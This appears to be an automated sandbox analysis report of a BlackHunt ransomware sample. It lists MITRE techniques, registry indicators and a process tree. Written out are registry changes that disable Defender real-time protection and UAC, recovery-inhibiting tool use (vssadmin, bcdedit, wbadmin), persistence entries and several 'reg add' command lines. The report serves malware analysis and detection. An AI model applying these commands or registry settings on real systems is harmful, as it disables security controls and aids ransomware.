fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6

Data Destruction

T1485

pid	Process
5372	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3044	bcdedit.exe
4612	bcdedit.exe

Renames multiple (478) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4468	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\G:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\V:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\X:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\P:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\O:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\H:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Z:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Y:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\R:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\K:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\M:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\Q:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\B:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\A:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\S:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\U:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\J:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\L:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\N:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened (read-only)	\??\T:	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javacpl.cpl	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\COPYRIGHT	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\javaws.policy	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\Welcome.html	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\gstreamer.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jsse.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\psfont.properties.ja	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management-agent.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cryptix.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\GetGrant.zip	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\trusted.libraries	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\thaidict.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\jvm.cfg	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\BlockInitialize.xlt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkDrop32x32.gif	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\local_policy.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiBold.ttf	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_es.properties	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2284	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4852	vssadmin.exe
4492	vssadmin.exe
1588	vssadmin.exe
3432	vssadmin.exe
2512	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeRestorePrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeBackupPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeTakeOwnershipPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeAuditPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeSecurityPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeIncBasePriorityPrivilege	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeBackupPrivilege	1348	vssvc.exe
Token: SeRestorePrivilege	1348	vssvc.exe
Token: SeAuditPrivilege	1348	vssvc.exe
Token: SeBackupPrivilege	4836	wbengine.exe
Token: SeRestorePrivilege	4836	wbengine.exe
Token: SeSecurityPrivilege	4836	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 720	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	92
PID 4864 wrote to memory of 720	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	92
PID 4864 wrote to memory of 2320	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	93
PID 4864 wrote to memory of 2320	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	93
PID 4864 wrote to memory of 3196	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	96
PID 4864 wrote to memory of 3196	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	96
PID 4864 wrote to memory of 4876	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	99
PID 4864 wrote to memory of 4876	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	99
PID 4864 wrote to memory of 836	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	100
PID 4864 wrote to memory of 836	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	100
PID 720 wrote to memory of 1484	720	cmd.exe	102
PID 2320 wrote to memory of 4968	2320	cmd.exe	103
PID 720 wrote to memory of 1484	720	cmd.exe	102
PID 2320 wrote to memory of 4968	2320	cmd.exe	103
PID 4876 wrote to memory of 3964	4876	cmd.exe	106
PID 4876 wrote to memory of 3964	4876	cmd.exe	106
PID 3196 wrote to memory of 1376	3196	cmd.exe	105
PID 3196 wrote to memory of 1376	3196	cmd.exe	105
PID 836 wrote to memory of 4152	836	cmd.exe	104
PID 836 wrote to memory of 4152	836	cmd.exe	104
PID 4864 wrote to memory of 4948	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	107
PID 4864 wrote to memory of 4948	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	107
PID 4864 wrote to memory of 4696	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	109
PID 4864 wrote to memory of 4696	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	109
PID 4864 wrote to memory of 3956	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	112
PID 4864 wrote to memory of 3956	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	112
PID 4864 wrote to memory of 2828	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	111
PID 4864 wrote to memory of 2828	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	111
PID 4864 wrote to memory of 2372	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	115
PID 4864 wrote to memory of 2372	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	115
PID 4864 wrote to memory of 4836	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	117
PID 4864 wrote to memory of 4836	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	117
PID 4864 wrote to memory of 1032	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	116
PID 4864 wrote to memory of 1032	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	116
PID 4864 wrote to memory of 3840	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	121
PID 4864 wrote to memory of 3840	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	121
PID 4864 wrote to memory of 3604	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	125
PID 4864 wrote to memory of 3604	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	125
PID 4864 wrote to memory of 4120	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	122
PID 4864 wrote to memory of 4120	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	122
PID 4948 wrote to memory of 2672	4948	cmd.exe	127
PID 4948 wrote to memory of 2672	4948	cmd.exe	127
PID 4864 wrote to memory of 1168	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	128
PID 4864 wrote to memory of 1168	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	128
PID 4696 wrote to memory of 1552	4696	cmd.exe	136
PID 4696 wrote to memory of 1552	4696	cmd.exe	136
PID 3956 wrote to memory of 3352	3956	cmd.exe	135
PID 3956 wrote to memory of 3352	3956	cmd.exe	135
PID 4864 wrote to memory of 3556	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	134
PID 4864 wrote to memory of 3556	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	134
PID 4836 wrote to memory of 2076	4836	cmd.exe	130
PID 4836 wrote to memory of 2076	4836	cmd.exe	130
PID 1032 wrote to memory of 1056	1032	Process not Found	131
PID 1032 wrote to memory of 1056	1032	Process not Found	131
PID 4864 wrote to memory of 4896	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	133
PID 4864 wrote to memory of 4896	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	133
PID 2828 wrote to memory of 2272	2828	cmd.exe	185
PID 2828 wrote to memory of 2272	2828	cmd.exe	185
PID 4864 wrote to memory of 4424	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	138
PID 4864 wrote to memory of 4424	4864	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	138
PID 2372 wrote to memory of 2336	2372	cmd.exe	186
PID 2372 wrote to memory of 2336	2372	cmd.exe	186
PID 3604 wrote to memory of 2768	3604	cmd.exe	142
PID 3604 wrote to memory of 2768	3604	cmd.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
"C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3964
